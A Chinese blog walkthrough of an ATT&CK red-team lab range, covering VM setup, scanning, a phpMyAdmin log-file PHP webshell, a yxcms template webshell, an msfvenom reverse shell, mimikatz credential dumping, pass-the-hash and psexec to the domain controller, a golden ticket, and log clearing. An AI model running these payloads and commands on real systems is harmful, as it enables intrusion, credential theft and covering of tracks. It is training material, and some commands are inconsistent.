ATT&CK实战系列----红队实战(一)

一.环境搭建(包教包会)

大家可以去这个网址去下载

漏洞详情

或者也可以在我的百度网盘下载

通过网盘分享的文件:01 ATT&CK红队评估

链接: 百度网盘 请输入提取码 提取码: d2pu

--来自百度网盘超级会员v3的分享

下载完成之后是这个样子的

然后我们都解压并且在虚拟机里打开

然后我们开始搭建网络环境 配置虚拟网卡

我们点击 编辑 -虚拟网络编辑器

然后我们等待初始化完成

首先我们点击 更改设置

点击添加网络

选择 VMnet19 并且点击确定

他自己会给我们分配地址(设置为仅主机模式)

这里我推荐你们跟着我改一下,方便后续的操作,跟我一摸一样(方便你们跟着我一起复现)

我这里修改一下 修改为 192.168.52.0

然后我们点击

修改为

然后我们保存虚拟机配置 然后点击应用 然后退出

之后我们开始打开虚拟机

我们点击 我已复制虚拟机(每个打开的虚拟机都这样点击)

全部打开之后 我们就开始设置网卡 我们先看看我们的网络拓补图

看不懂没关系 我给你们画个简单的

首先我们打开win7添加一张网卡VMnet19

登陆的原始密码三台虚拟机 都是 hongrisec@2019

并且会提示要修改密码 这里我们统一修改成 hongrisec@2025

这里win7 的一定要记住 我们的VMnet19网卡在上边 nat模式在下边(顺序弄反了 环境也搭建不成功)

这里的Vmware tools都是旧版的 我推荐你们更新一下这样好操作

在每个虚拟机的界面都点击一下

点击下一步

再点击下一步

点击安装

然后等待安装成功

重启就好了 输入我们新改变的密码 hongrisec@2025

所有都设置好之后

然后我们打开win7

win +r 打开cmd 输入ipconfig

192.168.25.170(外网)

192.168.52.143(内网)

然后我们设置win2008(域控)

设置网卡为VMnet19

ip为192.168.52.138

然后设置win2003(域成员)

也是VMnet19网卡

ip是192.168.52.141

然后最后是我们的kail的坐标

192.168.25.138

然后

这里我们打开win7

找到该目录下 打开phpstudy.exe 然后点击启动

然后我们打开火狐

输入192.168.25.170 显示 phpstudy探针 我们的环境就搭建好了

至此我们的环境彻底搭建完成

我们总结

kail     192.168.25.138
win7     192.168.25.170       192.168.52.143
win2008  192.168.52.138
win2003  192.168.25.141

二.渗透测试

2.1 信息收集之扫描端口

首先给我们一个网址或者ip 我们的第一步就是信息收集

这里我们都知道这是个靶场我们不i在搜索其他的资产,这里我们直接扫描端口

2.1.1 用nmap扫描端口(还有其他用法,这里我不在介绍)

我们输入

nmap -sV 192.168.25.170

发现出80(网站) 135(telnet) 3306(数据库) 端口开放

2.1.2 可以用在线网站扫描(但是我这里是内网不能扫描,但是实际环境中 我们就可以)

在线端口扫描_ip33.com

端口扫描 - 程序员工具箱 - 在线工具

在线端口扫描器 - 365tool.com

在线端口检测,端口扫描,端口开放检查-在线工具-postjson

端口扫描 - 在线工具

2.1.3 用masscan扫描端口(还有其他用法,这里我不在介绍)

我们输入

masscan -p 0-65535 192.168.25.170 --rate=2000

2.1.4 用naabu扫描端口

首先我们先安装naabu

然后我们输入

naabu -host 192.168.25.170 -p -

2.1.5 用rustscan扫描端口

我么输入

rustrustscan -a 192.168.25.170

2.1.6 用御剑扫描端口

工具有很多我就不再举例子了

2.2信息收集之扫描目录

首先我们访问

192.168.25.170:80

然后这里边暴露了主机的各种信息

绝对路径

C:/phpStudy/WWW

我们翻到最下边

发现有数据库登陆的用户名跟密码

我们就来试试有没有弱口令

我们通过信息收集 我们知道mysql默认的用户名密码是 root root 我们直接进行尝试

我们输入 root root

这里我们也可以 用bp或者yakit抓包 对他的用户名 密码进行爆破

也可以用其他的工具 这里我不在演示

当我们看到phpstudy探针的时候 我们就因该想起 大概率会存在 phpmyadmin

然后我们开始目录Fuzz

2.2.1 用御剑扫描目录

既然我们知道了此网站是由php语言编写的

我们就只勾选php 还有dir

扫描结果

2.2.2 用dirsearch扫描目录

在kail我们输入

dirsearch -u 192.168.25.170

2.2.3 用cansina扫描目录

https://github.com/deibit/cansina

我在终端输入

git clone https://github.com/deibit/cansina.git

然后我们输入

cansina -u 192.168.25.170 -p /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

3.1 漏洞利用

3.1.1phpmyadmin利用

我们扫描到的后台目录 phpadmin

我们输入

http://192.168.25.170/phpmyadmin/

我们通过信息收集 获得到phpmyadmin 的默认用户名和密码 都是 root root

登陆成功

当然我们也可以用bp或者yakit进行爆破

我们还可以用phpmyadmin专用破解工具

我们右键导入地址

文档里边是我们的地址

然后点击开始任务

然后我们如何利用呢

通过搜索得知 phpmyadmin可以通过日志写入木马文件 来获得webshell

我们输入

show variables like '%secure%';

这个方法不行了,行不通

我们输入

show variables like '%general%';

然后我们打开日志模式

set global general_log=on;

然后我们再来查询 发现已经打开了

然后在前期信息收集的时候我们就发现了 绝对路径

这样我们就为 连接webshell 创造了条件

然后我们输入

SET GLOBAL general_log_file='C:/phpStudy/www/111.php';

我们再来查询

show variables like '%general%';

可以看到日志路径 已经被替换了

接下来我们就输入sql语句 就会记录到这个文件日志里边

没执行之前

所以我们先来尝试

我们输入

select '<?php phpinfo(); ?>'

然后我们重新打开一个网页

我们输入

http://192.168.25.170/111.php

发现php语句已经被执行了

然后紧接着我们就要输入一句话木马了

select '<?php @eval($_POST["pwd"]); ?>'

然后我们打开中国蚁剑

我们输入 后门地址

http://192.168.25.170/111.php

输入密码 pwd

然后双击进去就是这个界面 搞不明白为撒还是乱码

这里博主搞了好长时间(好几个小时) 我链接别的机器也没有乱码 所以博主觉得应该是win7的问题 大概是我更新VMware tools的时候不小心都更新了 导致编码不一致(也不是这个问题)

哇哇哇哇 经过九牛二虎之力 博主终于把他解决了

唯一的问题就是

我们连接时候的编码要修改为bsae64

修改完成就好了

我们右键打开虚拟终端

输入whoami

可以看到我们呢获得了管理员的权限

这里我们就会有疑问

正常情况下 这两个地方的名字 应该是一样的 但是这里不一样

以我们呢大胆的猜测

STU1是计算机的名字 god是域的名字

所以我们输入ipconfig 来查看ip

发现有两个ip

192.168.25.170(这里是跟我们访问的ip 相等于在真实环境中的公网ip)

192.168.52.143(这个也就是与内网链接的ip)

然后我们来查看域

ifconfig /all

可以看到域是 god.org

然后我们输入

net view /domain 来查看其他的域

发现没显示

到这里我突然发现一个重要的事情 拿到webshell的第一刻起 我们既应该关闭防火墙

所以我们在终端输入

netsh advfirewall set allprofiles state off

然后我们输入 net view 查看域内其他的用户

说明我们这个不是域管理员用户 net user /domain(只有域管理员用户才可以执行)

之后我们就没啥可以利用的了

所以我们要把shell转到kail上

用kail做 信息收集 漏洞利用 权限提升 权限维持 内网渗透 横向移动 跨域攻击 痕迹清除

我们就打开kail因为这里win7没有啥杀毒软件 所以我们不用免杀 我们开始打开我们的kail 生成我们的后门文件

我们输入

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.25.138 LPORT=9999 -f exe -o 111.exe 

然后我们在kail上开启监听模块

msfconsole 
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set lhost 192.168.25.138
set lport 9999
run

然后我们把生成好的111.exe文件通过中国蚁剑下载到win7目标主机上 进行运行连接连接

记得上传到我们本机windows上的时候 一定要把杀毒软件关闭 不然就可能实验不成功

这里我们已经关闭了

这里主播在弄上个问题的时候(就是那个乱码的问题 不小心把win7重装了一下 然后ip就变了 主播也忘记绑定了,(其实就是懒得绑定了,就凑活着看吧),我的win7ip变为192.168.25.172(外网))

然后我们在终端运行

然后在kail主机上已经连接了meterpreter

我们发现还是本地管理员权限

接下来我们来看权限提升

3.1.2yxcms利用

在我们用蚁剑连接之后 我们就看见了网站的根目录

所以我们也发现了这个yxcms网站

我们进入 看到有后台默认的用户名 密码

我们输入网址

http://192.168.25.172/yxcms//index.php?r=admin/index/login

我们输入点击登录

登陆成功 我们利用弱密码

然后我们利用文件上传漏洞 点击 前台模板-管理模板文件

然后点击 新建

然后输入名称 webshell.php 输入内容一句话木马

<?php @eval($_POST["cmd"]);?>

然后点击创建

最后点击确定

然后我们只要知道木马文件所在的位置就好 我们可以通过利用phpmyadmin 上传的木马 来查看文件上传的路径

我们也可以通过下载备份文件(同样也是拿到webshell之后发现的)来看

C:\phpStudy\WWW\yxcms\protected\apps\default\view\default

然后我们来进行连接

http://192.168.25.172/yxcms/protected/apps/default/view/default/webshell.php

4.1权限提升

输入ps我们就可以看到 system 启动的服务

我们首先需要提权到系统权限

这里我们随便找一个 我们迁移到进程444

我们输入指令 migrate 444 然后发现我们也提权到系统最高权限了

我们现在来做

大家可以去看我的专栏 windows权限提升篇 这里我不再多说

Windows提权完整版(专栏)-CSDN博客

5.1权限维持

大家可以去看我的专栏 windows权限维持篇 这里我不再多说

Windows权限维持总结(专栏)-CSDN博客

6.1内网渗透

6.1.1phpmyadmin的webshell

我们进入shell

我们输入net view 查看域内有几个主机

输入net view /domain 查看有几个域

输入 ipconfig /all 查看域名

我们输入

net group "domain controllers" /domain
net group "domain admins" /domain
net localgroup administrators /domain          
这三个都不成功   都显示没有权限
nltest /dsgetdc:god.org             查看域控

然后我们通过arp -a 嗅探主机存活ip

到目前为止我们知道

god.org域内有三个主机

\OWA                       域控主机   ip 192.168.52.138                                                                 
\\ROOT-TVI862UBEH          域内主机   ip 192.168.52.141                                                       
\\STU1       win7          域内主机   ip 192.168.25.172(这里我ip改了 你们应该是170) 192.168.52.143

然后STU1 主机的权限我们都拿到了 接下来我们拿到域控主机的权限

然后可以我们kail的主机ip是192.168.25.172 目标域控的主机ip是192.168.52.138

这两个主机的ip根本就不在一个网段 这下哦我们该怎莫办额

答案只有一个 那就是跨路由访问,挂上代理

我们要把我们拿到全部权限的STU1主机当作跳板机 然后多内网主机进行访问

然后我们查看路由

run get_local_subnets

然后我们先设置路由

run autoroute -s 192.168.52.0/24

然后查看是否设置好

run autoroute -p

然后我们要设置代理服务器

bg

use auxiliary/server/socks_proxy

show options

run

然后我们查看代理服务器

jobs

我们已经配置好了

接下来

我们输入

sudo vi /etc/proxychains4.conf

这就是设置好了 接下来我们就可以访问192.168.52.138了

proxychains4 nmap -sV 192.168.25.170

我们就可以看到有几个常见的端口

其他的没啥特殊的 我们看见了445端口开放着

我们就想到了永恒之蓝漏洞利用模块

首先设置msf全局代理

setg Proxies socks5:192.168.25.138:1080

set ReverseAllowProxy true

这里我试过了 永恒之蓝模块 不能够利用 我这里不再演示

然后我们可以利用pth进行hash传递

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

明文密码被我们抓取到了

hongrisec@2019(你们这里应该是hongrisec@2025,因为我的原因 win7重装系统了)

在metasploite中存在一个psexec模块可以使用获取的hash进行登录

use exploit/windows/smb/psexec

set SMBUser administrator

set smbpass hongrisec@2019

这个也没有成功我就非常恼火

所以我试试

6.1.2yxcms的webshell

net group "domain controllers" /domain

net group "domain admins" /domain

net localgroup administrators /domain

这三个都成功了 说明这个是域控管理员权限

net group "domain controllers" /domain

用于在域环境中查看 “Domain Controllers”(域控制器)组中的成员。该命令会列出当前域中所有被定义为域控制器的计算机账户。

net group "domain admins" /domain

用于查看 “Domain Admins”(域管理员)组的成员。“Domain Admins” 组是域中具有最高管理权限的用户组,该命令会显示属于这个组的用户账户信息。

net localgroup administrators /domain

它用于查看本地计算机上 “Administrators”(管理员)组的成员信息,如果在域环境中使用/domain参数,它会尝试从域控制器获取该本地组的成员信息,列出有权限在本地计算机上进行管理操作的用户和组,包括本地用户账户、域用户账户以及其他组。

再加上上一个尝试出来的信息 还是一样的

god.org域内有三个主机

\OWA                       域控主机   ip 192.168.52.138                                                                 
\\ROOT-TVI862UBEH          域内主机   ip 192.168.52.141                                                       
\\STU1       win7          域内主机   ip 192.168.25.172(这里我ip改了 你们应该是170) 192.168.52.143

然后我们重新监听在kail中

还是老样子把生成的exe文件上传到目标i主机上然后运行 这里我不再演示 因为跟上边的差不多

我们加载kiwi

输入creds_all

得到我们修改的密码hongrisec@2025

或者我们输入

kiwi_cmd sekurlsa::logonpasswords

我们找到登录STU1主机的密码的hash值

NTLM     : 6e7d5c080add45885b387e0e47bf08b6
         * SHA1     : b27e6564ca1848141b5bb4f866507139dcae738f

于是

至此我们知道了 域控管理员权限的账号密码

大家有兴趣可以去看我的内网渗透专栏

7.1横向移动

7.1.1用kail

administretor hongrisec@2025

于是我们开启远程桌面 打开win7

run post/windows/manage/enable_rdp

然后我们链接成功

至此win7的权限 我们已经全部拿到

然后我们就要尝试拿到域控的权限首先通过信息收集

域控的ip 192.168.52.138

我们的ip 192.168.25.138

这是出于两个网段 所以我们要跨路由访问

首先我们要添加路由

首先我们先来查看路由

run autoroute -p

发现啥也没有

然后我们来设置路由

run autoroute -s 192.168.52.0/24

然后再来查看

紧着这我们要添加代理服务器

use auxiliary/server/socks_proxy

然后我们输入 jobs

查看代理服务器是否开启

然后我们就要添加隧道代理

vi /etc/proxychains4.conf

设置好我们退出

然后扫描域控

proxychains4 nmap -sV 192.168.52.138

前边我们已经尝试过445端口ms17_010(失败)

首先设置msf全局代理

setg Proxies socks5:192.168.25.138:1080

set ReverseAllowProxy true

use exploit/windows/smb/psexec
set rhosts 192.168.52.138
set smbuser administrator
set smbpass hongrisec@2025
set smbdomain god.org
run

kail的pth攻击我们呢也失败了

也超时了

pstools成功了

PsExec64.exe /accepteula /s \\192.168.52.138 -u Administrator -p hongrisec@2025 cmd

但是这个psexec 使用hash登录失败了失败了

python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 god.org/Administrator@192.168.52.138

python3 psexec.py god.org/Administrator@192.168.52.138

这个用法就成功了

然后我们关闭防火墙

netsh advfirewall set allprofiles state off

我们先查看是否

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

为0 是开启 1是关闭

然后我们输入

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

打开

开启3389端口服务

我们再来查看就开启了

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

然后我们用god.org\administrator hongrisec@2025进行登录

就登陆成功了

这是我们内网渗透中做的权限维持(黄金票据)

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:58e91a5ac358d86513ab224312314061:::

S-1-5-21-2952760202-1353902439-2381784089

kerberos::golden /user:Administrator /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:aad3b435b51404eeaad3b435b51404ee /ticket:1.kirbi

lsadump::dcsync /domain:god.org /user:krbtgt

dir \\owa.god.org\c$

7.1.2用cs

这里不再演示

这是我做成功的

大家感兴趣可以去看我的专栏

cobalt strike内网渗透(专栏)-CSDN博客

8.1跨域攻击

因为这里只有一个域 所以不存在跨域攻击

9.1痕迹清除

移除恶意软件和后门
查找并删除可疑程序和服务:通过文件资源管理器或命令行查找可疑的程序和服务。使用tasklist | findstr <可疑进程>查看正在运行的可疑进程,找到后用taskkill /F /PID <PID>终止进程。

清除日志文件
使用命令清除:可以使用wevtutil.exe命令来清空指定的事件日志。
例如,要清空应用程序日志,可使用wevtutil.exe cl Application;
若要清空系统日志和安全日志,分别使用wevtutil.exe cl System和wevtutil.exe cl Security。
也可以使用 PowerShell 命令Clear-EventLog -LogName Application, Security, System来清除相应日志。
通过事件查看器手动清除:打开 “事件查看器”(可通过在搜索栏中输入 “eventvwr.msc” 打开),选择需要清理的日志类型,如 “应用程序日志”“系统日志”“安全日志” 等,右键单击并选择 “清除日志” 选项。
清理系统历史记录及运行日志
清除最近打开的文件记录:
通过文件资源管理器手动清除:打开文件资源管理器,在快速访问中右键点击 “最近使用的文件”,选择 “清除最近访问记录”。
通过组策略禁用记录:打开组策略编辑器(在运行中输入 “gpedit.msc”),依次选择 “用户配置”→“管理模板”→“Windows 组件”→“文件资源管理器”,在右侧找到 “不保留最近打开的文档历史记录”,双击选择 “启用”。
清除浏览器相关记录:使用命令rundll32.exe inetcpl.cpl,clearmytracksbyprocess 8删除 Internet 临时文件;rundll32.exe inetcpl.cpl,clearmytracksbyprocess 2删除 Cookies;rundll32.exe inetcpl.cpl,clearmytracksbyprocess 1删除浏览历史记录;rundll32.exe inetcpl.cpl,clearmytracksbyprocess 255删除所有浏览器数据。
恢复修改的配置
检查用户账户和权限:删除渗透测试过程中创建的临时用户账户,使用命令net user <username> /delete。
恢复防火墙及安全设置:确保防火墙规则和入侵检测系统的设置恢复到测试前的状态。如果之前为了测试而修改了防火墙规则,可使用netsh命令来恢复,例如netsh advfirewall set allprofiles state on开启防火墙,然后根据需要重新配置规则。
清理网络活动痕迹
修改 ARP 缓存:使用arp -d <TARGET_IP>命令修改 ARP 缓存信息,以掩盖攻击源 IP。
其他清理
清除远程桌面连接痕迹:如果通过 3389 远程登录过,需要清除 mstsc 痕迹。可以通过删除注册表中相关键值来实现,在运行中输入regedit打开注册表编辑器,找到HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default和HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers,删除其中与远程连接相关的记录。
在进行痕迹清除操作时,需注意操作的细致性和合法性,避免误操作导致系统异常。同时,要明确渗透测试是在获得授权的前提下进行的,否则相关行为可能涉嫌违法。

三. 项目总结

学会渗透测试全流程

信息收集--漏洞利用--权限提升--权限维持--内网渗透--横向移动--跨域攻击--痕迹清除

每个流程都够我们学习一阵子

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值